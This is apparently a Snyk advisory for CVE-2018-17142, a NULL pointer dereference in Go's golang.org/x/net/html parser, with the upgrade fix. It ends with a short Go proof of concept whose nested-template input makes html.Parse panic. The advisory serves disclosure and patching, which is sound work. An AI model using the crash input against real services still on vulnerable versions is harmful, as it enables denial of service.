NULL Pointer Dereference Affecting golang.org/x/net/html package, versions <0.0.0-20180925071336-cf3bd585ca2a
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
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Start learning- Snyk IDSNYK-GOLANG-GOLANGORGXNETHTML-3314985
- published8 Feb 2023
- disclosed13 May 2022
- creditUnknown
Introduced: 13 May 2022
CVE-2018-17142 (opens in a new tab)How to fix?
Upgrade golang.org/x/net/html to version 0.0.0-20180925071336-cf3bd585ca2a or higher.
Overview
golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.
Affected versions of this package are vulnerable to NULL Pointer Dereference in parse.go, which mishandles nested templates when parsing. Certain invalid inputs can cause a panic and crash.
PoC
package main
import (
"strings"
"golang.org/x/net/html"
)
func main() {
r := strings.NewReader("<math><template><mo><template>")
html.Parse(r)
}